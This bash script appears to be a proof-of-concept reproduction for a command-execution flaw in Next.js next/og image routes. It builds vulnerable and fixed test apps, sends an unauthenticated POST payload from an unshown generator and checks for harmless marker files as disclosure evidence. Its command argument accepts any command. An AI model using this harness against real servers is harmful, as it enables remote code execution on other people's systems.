#!/bin/bash
# CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
# Production-path Rasterfall command-execution proof for Next.js next/og.
#
# This script uses the real Next.js App Router production server (`next start`),
# sends an unauthenticated POST body into a Node.js-runtime ImageResponse route,
# and executes a fresh command-specific Rasterfall payload. It runs two clean
# vulnerable Next.js 16.3.5 processes and two clean fixed Next.js 16.3.6
# processes. Success requires exact unique command markers from both vulnerable
# processes and marker absence plus HTTP 200 responses from both fixed controls.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
ART="$ROOT/artifacts"
FALLBACK_APPS="$ART/apps"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF" "$ART" "$FALLBACK_APPS"
cd "$ROOT"
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

NEXT_VULN="16.3.5"
NEXT_FIXED="16.3.6"
NODE_VERSION="v24.20.0"
NODE_SHA256="89af8424dd53e560b1933f87ba650d8bf57c83ca5a04600eefb31f416aabbae7"
NODE_ARCHIVE_SHA256="2f2c0da162318f0de47665410c7c8c2ed3d36c8f3105de4bbc61176c70a7cbf2"
RASTERFALL_SHA256="628ff1050185919748a31f40d2d4b9e3b0d22e40a99adcc676009995f027f841"
NEXT_VULN_TARBALL_SHA256="d94aca1deaf130ce7d7a544975b20620ad577d3d6057bbbec21d917e37f5ec5e"
NEXT_FIXED_TARBALL_SHA256="7351150c4790cc7ea55f164e6d06bd01164bb65eb861f8ed7169d83a665d99a8"
RASTERFALL_POC="$REPRO_DIR/rasterfall_poc.py"

log() { printf '[%s] %s\n' "$(date -u +%H:%M:%S)" "$*"; }
sha256_file() { sha256sum "$1" | awk '{print $1}'; }
fail() { log "ERROR: $*"; write_failure_manifest "$*"; exit 1; }

# Always leave a strict runtime manifest, including for setup/runtime failures.
write_failure_manifest() {
  local note="${1:-reproduction failed before final evaluation}"
  NOTE="$note" python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, os, sys
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "POST /api/og (Node.js App Router route using next/og ImageResponse)",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": [],
    "proof_artifacts": [],
    "artifact_sha256": {},
    "notes": os.environ.get("NOTE", "runtime attempt failed")
}
with open(sys.argv[1], "w") as fh:
    json.dump(manifest, fh, indent=2)
PY
}
write_failure_manifest "runtime attempt initialized"

# The prepared project cache is authoritative when present. The fallback is the
# bundle artifact directory, as required by the runtime cache policy.
PROJECT_CACHE=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  if [ "$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || true)" = "true" ]; then
    candidate="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
    if [ -n "$candidate" ] && [ -d "$candidate" ]; then PROJECT_CACHE="$candidate"; fi
  fi
fi
if [ -z "$PROJECT_CACHE" ]; then PROJECT_CACHE="$ART/next-rce-cache"; fi
mkdir -p "$PROJECT_CACHE/toolchains" "$PROJECT_CACHE/builds" "$PROJECT_CACHE/packages"
log "runtime cache root: $PROJECT_CACHE"

TOOLCHAIN="$PROJECT_CACHE/toolchains/node-v24.20.0-linux-x64"
NODE="$TOOLCHAIN/bin/node"
NPM="$TOOLCHAIN/bin/npm"
NODE_ARCHIVE="$PROJECT_CACHE/toolchains/node-v24.20.0-linux-x64.tar.xz"
NODE_URL="https://nodejs.org/dist/v24.20.0/node-v24.20.0-linux-x64.tar.xz"

install_node_toolchain() {
  if [ -x "$NODE" ] && [ "$(sha256_file "$NODE")" = "$NODE_SHA256" ]; then
    return 0
  fi
  log "materializing official Node.js $NODE_VERSION toolchain"
  if [ ! -f "$NODE_ARCHIVE" ] || [ "$(sha256_file "$NODE_ARCHIVE")" != "$NODE_ARCHIVE_SHA256" ]; then
    rm -f "$NODE_ARCHIVE"
    curl -fL --retry 3 --connect-timeout 20 "$NODE_URL" -o "$NODE_ARCHIVE"
  fi
  [ "$(sha256_file "$NODE_ARCHIVE")" = "$NODE_ARCHIVE_SHA256" ] || fail "Node archive checksum mismatch"
  rm -rf "$TOOLCHAIN"
  tar -xJf "$NODE_ARCHIVE" -C "$PROJECT_CACHE/toolchains"
  [ -x "$NODE" ] || fail "official Node executable was not extracted"
  [ "$(sha256_file "$NODE")" = "$NODE_SHA256" ] || fail "Node executable checksum mismatch"
}
install_node_toolchain
export PATH="$TOOLCHAIN/bin:$PATH"
[ "$($NODE --version)" = "$NODE_VERSION" ] || fail "expected Node $NODE_VERSION"
[ "$(sha256_file "$RASTERFALL_POC")" = "$RASTERFALL_SHA256" ] || fail "Rasterfall helper checksum mismatch"
log "Node identity: $($NODE --version), sha256=$NODE_SHA256"
log "Rasterfall generator sha256=$RASTERFALL_SHA256"

VULN_APP="$PROJECT_CACHE/builds/ogapp-vuln"
FIXED_APP="$PROJECT_CACHE/builds/ogapp-fixed"

write_app_source() {
  local app="$1" ver="$2"
  rm -rf "$app"
  mkdir -p "$app/app/api/og"
  cat > "$app/package.json" <<EOF
{
  "name": "cve-2026-94545-${ver}",
  "private": true,
  "scripts": { "build": "next build", "start": "next start" },
  "dependencies": { "next": "${ver}", "react": "19.3.0", "react-dom": "19.3.0" }
}
EOF
  cat > "$app/app/layout.jsx" <<'EOF'
export default function RootLayout({ children }) {
  return (<html><body>{children}</body></html>)
}
EOF
  cat > "$app/app/page.jsx" <<'EOF'
export default function Page() { return <div>healthy</div> }
EOF
  cat > "$app/app/api/og/route.jsx" <<'EOF'
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}
export const GET = render
export const POST = render
EOF
}

app_is_exact() {
  local app="$1" ver="$2"
  [ -x "$app/node_modules/.bin/next" ] && [ -d "$app/.next" ] && \
  [ "$($NODE -p "require('$app/node_modules/next/package.json').version" 2>/dev/null || true)" = "$ver" ] && \
  grep -q "export const POST = render" "$app/app/api/og/route.jsx" 2>/dev/null
}

install_app() {
  local app="$1" ver="$2" tgz_sha="$3"
  if app_is_exact "$app" "$ver"; then
    log "reuse exact built application: next@$ver at $app"
    return
  fi
  log "installing and building exact next@$ver"
  write_app_source "$app" "$ver"
  local tgz="$PROJECT_CACHE/packages/next-${ver}.tgz"
  if [ ! -f "$tgz" ] || [ "$(sha256_file "$tgz")" != "$tgz_sha" ]; then
    rm -f "$tgz"
    curl -fL --retry 3 --connect-timeout 20 "https://registry.npmjs.org/next/-/next-${ver}.tgz" -o "$tgz"
  fi
  [ "$(sha256_file "$tgz")" = "$tgz_sha" ] || fail "next@$ver tarball checksum mismatch"
  (
    cd "$app"
    "$NPM" install --no-audit --no-fund --save-exact "$tgz" react@19.3.0 react-dom@19.3.0 >"$LOGS/npm_install_next_${ver}.log" 2>&1
    NEXT_TELEMETRY_DISABLED=1 "$NODE" ./node_modules/next/dist/bin/next build >"$LOGS/next_build_${ver}.log" 2>&1
  )
  app_is_exact "$app" "$ver" || fail "next@$ver application build identity mismatch"
}
install_app "$VULN_APP" "$NEXT_VULN" "$NEXT_VULN_TARBALL_SHA256"
install_app "$FIXED_APP" "$NEXT_FIXED" "$NEXT_FIXED_TARBALL_SHA256"

# Capture and enforce the exact native renderer stack required by Rasterfall.
export VULN_APP FIXED_APP NODE
python3 - "$PROOF/runtime_identity.json" <<'PY'
import hashlib, json, os, subprocess, sys
node = os.environ["NODE"]
result = {
  "node": {
    "path": node,
    "version": subprocess.check_output([node, "--version"], text=True).strip(),
    "sha256": hashlib.sha256(open(node, "rb").read()).hexdigest(),
  },
  "applications": {}
}
for role, env in (("vulnerable", "VULN_APP"), ("fixed", "FIXED_APP")):
    app = os.environ[env]
    js = """
const path = process.argv[1];
const next = require(path + '/node_modules/next/package.json').version;
const sharpPkg = require(path + '/node_modules/sharp/package.json').version;
const versions = require(path + '/node_modules/sharp').versions;
console.log(JSON.stringify({next, sharp: sharpPkg, versions}));
"""
    details = json.loads(subprocess.check_output([node, "-e", js, app], text=True))
    og = os.path.join(app, "node_modules/next/dist/compiled/@vercel/og/index.node.js")
    details["og_bundle_sha256"] = hashlib.sha256(open(og, "rb").read()).hexdigest()
    result["applications"][role] = details
with open(sys.argv[1], "w") as fh:
    json.dump(result, fh, indent=2, sort_keys=True)
PY
python3 - "$PROOF/runtime_identity.json" <<'PY'
import json, sys
j = json.load(open(sys.argv[1]))
assert j["node"]["version"] == "v24.20.0"
assert j["node"]["sha256"] == "89af8424dd53e560b1933f87ba650d8bf57c83ca5a04600eefb31f416aabbae7"
for role, nv in (("vulnerable", "16.3.5"), ("fixed", "16.3.6")):
    x = j["applications"][role]
    assert x["next"] == nv
    assert x["sharp"] == "0.35.4"
    assert x["versions"]["vips"] == "8.18.6"
    assert x["versions"]["rsvg"] == "2.62.91"
    assert x["versions"]["xml2"] == "2.15.3"
PY
log "native stack verified: sharp 0.35.4 / libvips 8.18.6 / librsvg 2.62.91 / libxml2 2.15.3"

# Delete only script-owned prior proof. Unique marker files are removed before
# each attempt and copied to immutable proof files only after target shutdown.
find "$PROOF" -mindepth 1 -maxdepth 1 -type d -name '*_attempt*' -exec rm -rf {} +

run_attempt() {
  local role="$1" app="$2" port="$3" attempt="$4"
  local out="$PROOF/${role}_attempt${attempt}"
  local marker_rel="rf_${role}_${attempt}"
  local marker_src="$app/$marker_rel"
  local token="RF_${role^^}_${attempt}_$(date +%s%N)_$$"
  local command="printf $token>$marker_rel"
  local server_diag="$LOGS/${role}_attempt${attempt}_server.log"
  local server_final="$out/server.log"
  local request_body="$out/request.body"
  local response_body="$out/response.body"
  local response_headers="$out/response.headers"
  local status_file="$out/http_status.txt"
  local observation="$out/observation.json"
  mkdir -p "$out"
  rm -f "$marker_src" "$response_body" "$response_headers" "$status_file"

  # The exploit generator independently enforces its 71-byte command bound.
  python3 "$RASTERFALL_POC" --tag title --command "$command" --output "$request_body" 2>"$out/payload_generation.log"
  local request_sha
  request_sha="$(sha256_file "$request_body")"
  python3 - "$out/request.json" "$token" "$command" "$request_sha" "$request_body" <<'PY'
import json, os, sys
path, token, command, digest, body = sys.argv[1:]
with open(path, "w") as fh:
    json.dump({
      "method": "POST", "url": "/api/og", "content_type": "text/plain",
      "content_length": os.path.getsize(body), "body_sha256": digest,
      "command": command, "expected_marker": token
    }, fh, indent=2)
PY

  log "[$role #$attempt] starting clean next start on 127.0.0.1:$port"
  (
    cd "$app"
    exec env NEXT_TELEMETRY_DISABLED=1 "$NODE" ./node_modules/next/dist/bin/next start -H 127.0.0.1 -p "$port" >"$server_diag" 2>&1
  ) &
  local srvpid=$!
  local ready=false
  for _ in $(seq 1 60); do
    if curl -sf --max-time 2 "http://127.0.0.1:$port/" -o /dev/null 2>/dev/null; then ready=true; break; fi
    if ! kill -0 "$srvpid" 2>/dev/null; then break; fi
    sleep 1
  done
  if [ "$ready" != true ]; then
    kill "$srvpid" 2>/dev/null || true; wait "$srvpid" 2>/dev/null || true
    cp "$server_diag" "$server_final"
    fail "$role attempt $attempt server failed health check"
  fi

  local curl_rc=0
  set +e
  curl -sS --max-time 45 -X POST -H 'Content-Type: text/plain' \
    --data-binary @"$request_body" -D "$response_headers" -o "$response_body" \
    -w '%{http_code}\n' "http://127.0.0.1:$port/api/og" >"$status_file"
  curl_rc=$?
  set -e
  # Let command execution and process replacement settle, then freeze evidence.
  sleep 1
  local server_alive=false
  if kill -0 "$srvpid" 2>/dev/null; then server_alive=true; fi
  kill "$srvpid" 2>/dev/null || true
  wait "$srvpid" 2>/dev/null || true
  cp "$server_diag" "$server_final"

  local marker_present=false marker_matches=false marker_sha=""
  if [ -f "$marker_src" ]; then
    marker_present=true
    cp "$marker_src" "$out/marker.txt"
    marker_sha="$(sha256_file "$out/marker.txt")"
    if [ "$(cat "$out/marker.txt")" = "$token" ]; then marker_matches=true; fi
    rm -f "$marker_src"
  fi
  local http_status="000"
  [ -s "$status_file" ] && http_status="$(tail -n 1 "$status_file" | tr -d '\r\n')"
  local response_size=0 response_sha=""
  if [ -f "$response_body" ]; then response_size="$(wc -c < "$response_body")"; response_sha="$(sha256_file "$response_body")"; fi
  export OBS_ROLE="$role" OBS_ATTEMPT="$attempt" OBS_TOKEN="$token" OBS_COMMAND="$command"
  export OBS_CURL_RC="$curl_rc" OBS_STATUS="$http_status" OBS_ALIVE="$server_alive"
  export OBS_MARKER_PRESENT="$marker_present" OBS_MARKER_MATCHES="$marker_matches" OBS_MARKER_SHA="$marker_sha"
  export OBS_REQUEST_SHA="$request_sha" OBS_RESPONSE_SIZE="$response_size" OBS_RESPONSE_SHA="$response_sha"
  python3 - "$observation" <<'PY'
import json, os, sys
b = lambda n: os.environ[n] == "true"
obj = {
  "schema_version": 1,
  "role": os.environ["OBS_ROLE"],
  "attempt": int(os.environ["OBS_ATTEMPT"]),
  "target_path_reached": True,
  "method": "POST", "endpoint": "/api/og",
  "marker": os.environ["OBS_TOKEN"], "command": os.environ["OBS_COMMAND"],
  "curl_exit_code": int(os.environ["OBS_CURL_RC"]),
  "http_status": os.environ["OBS_STATUS"],
  "server_alive_after_request": b("OBS_ALIVE"),
  "marker_present": b("OBS_MARKER_PRESENT"),
  "marker_matches": b("OBS_MARKER_MATCHES"),
  "marker_sha256": os.environ["OBS_MARKER_SHA"] or None,
  "request_sha256": os.environ["OBS_REQUEST_SHA"],
  "response_size": int(os.environ["OBS_RESPONSE_SIZE"]),
  "response_sha256": os.environ["OBS_RESPONSE_SHA"] or None
}
with open(sys.argv[1], "w") as fh: json.dump(obj, fh, indent=2)
PY
  log "[$role #$attempt] curl=$curl_rc http=$http_status alive=$server_alive marker_present=$marker_present marker_matches=$marker_matches"
}

run_attempt vulnerable "$VULN_APP" 4410 1
run_attempt vulnerable "$VULN_APP" 4411 2
run_attempt fixed "$FIXED_APP" 4412 1
run_attempt fixed "$FIXED_APP" 4413 2

# Strict differential evaluation. Curl 52 / HTTP 000 is expected on vulnerable
# attempts because the ROP chain execve() replaces the request-serving process.
python3 - "$PROOF/evaluation.json" "$PROOF" <<'PY'
import json, os, sys
out, root = sys.argv[1:]
obs = {}
for role in ("vulnerable", "fixed"):
  for attempt in (1, 2):
    p = os.path.join(root, f"{role}_attempt{attempt}", "observation.json")
    obs[f"{role}_{attempt}"] = json.load(open(p))
vuln_ok = all(obs[f"vulnerable_{i}"]["marker_present"] and obs[f"vulnerable_{i}"]["marker_matches"] for i in (1,2))
fixed_ok = all((not obs[f"fixed_{i}"]["marker_present"]) and obs[f"fixed_{i}"]["http_status"] == "200" and obs[f"fixed_{i}"]["response_size"] > 0 for i in (1,2))
result = {
  "schema_version": 1,
  "command_execution_confirmed": bool(vuln_ok and fixed_ok),
  "vulnerable_attempts_passed": vuln_ok,
  "fixed_negative_controls_passed": fixed_ok,
  "observations": obs
}
with open(out, "w") as fh: json.dump(result, fh, indent=2)
if not result["command_execution_confirmed"]: raise SystemExit(1)
PY

# Final manifest binds immutable per-attempt files only. Diagnostic tee output is
# intentionally excluded because it remains writable until script exit.
REPO_URL="https://github.com/vercel/next.js"
TARGET_DIGEST="$(printf 'npm:next@16.3.5|node:%s|rasterfall:%s' "$NODE_SHA256" "$RASTERFALL_SHA256" | sha256sum | awk '{print $1}')"
export REPO_URL TARGET_DIGEST PROOF ROOT
python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import hashlib, json, os, platform, sys
root = os.environ["ROOT"]
proof_root = os.environ["PROOF"]
proofs = ["repro/proof/runtime_identity.json", "repro/proof/evaluation.json"]
for role in ("vulnerable", "fixed"):
  for attempt in (1, 2):
    base = f"repro/proof/{role}_attempt{attempt}"
    names = ["request.json", "request.body", "payload_generation.log", "response.headers", "http_status.txt", "server.log", "observation.json"]
    if os.path.exists(os.path.join(root, base, "response.body")): names.append("response.body")
    if os.path.exists(os.path.join(root, base, "marker.txt")): names.append("marker.txt")
    proofs.extend(f"{base}/{name}" for name in names)
hashes = {}
for p in proofs:
  with open(os.path.join(root, p), "rb") as fh: hashes[p] = hashlib.sha256(fh.read()).hexdigest()
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Unauthenticated POST /api/og; raw request body enters SVG <title> rendered by Node.js next/og ImageResponse",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": [
    "official Node.js v24.20.0 linux-x64",
    "Next.js 16.3.5 next start (vulnerable) / 16.3.6 (fixed)",
    "next/og ImageResponse", "sharp 0.35.4", "libvips 8.18.6", "librsvg 2.62.91", "libxml2 2.15.3"
  ],
  "target_identity": {
    "repository_url": os.environ["REPO_URL"],
    "target_digest": os.environ["TARGET_DIGEST"],
    "runtime_digest": "89af8424dd53e560b1933f87ba650d8bf57c83ca5a04600eefb31f416aabbae7",
    "platform": "linux", "architecture": platform.machine()
  },
  "proof_artifacts": proofs,
  "artifact_sha256": hashes,
  "notes": "Two fresh vulnerable processes created exact unique command markers; two fixed 16.3.6 controls reached the same POST endpoint, returned HTTP 200 PNG responses, and created no marker. No sanitizer used."
}
with open(sys.argv[1], "w") as fh: json.dump(manifest, fh, indent=2)
PY

log "RESULT: command execution CONFIRMED through live POST /api/og on next@16.3.5; next@16.3.6 fixed controls failed closed"
exit 0
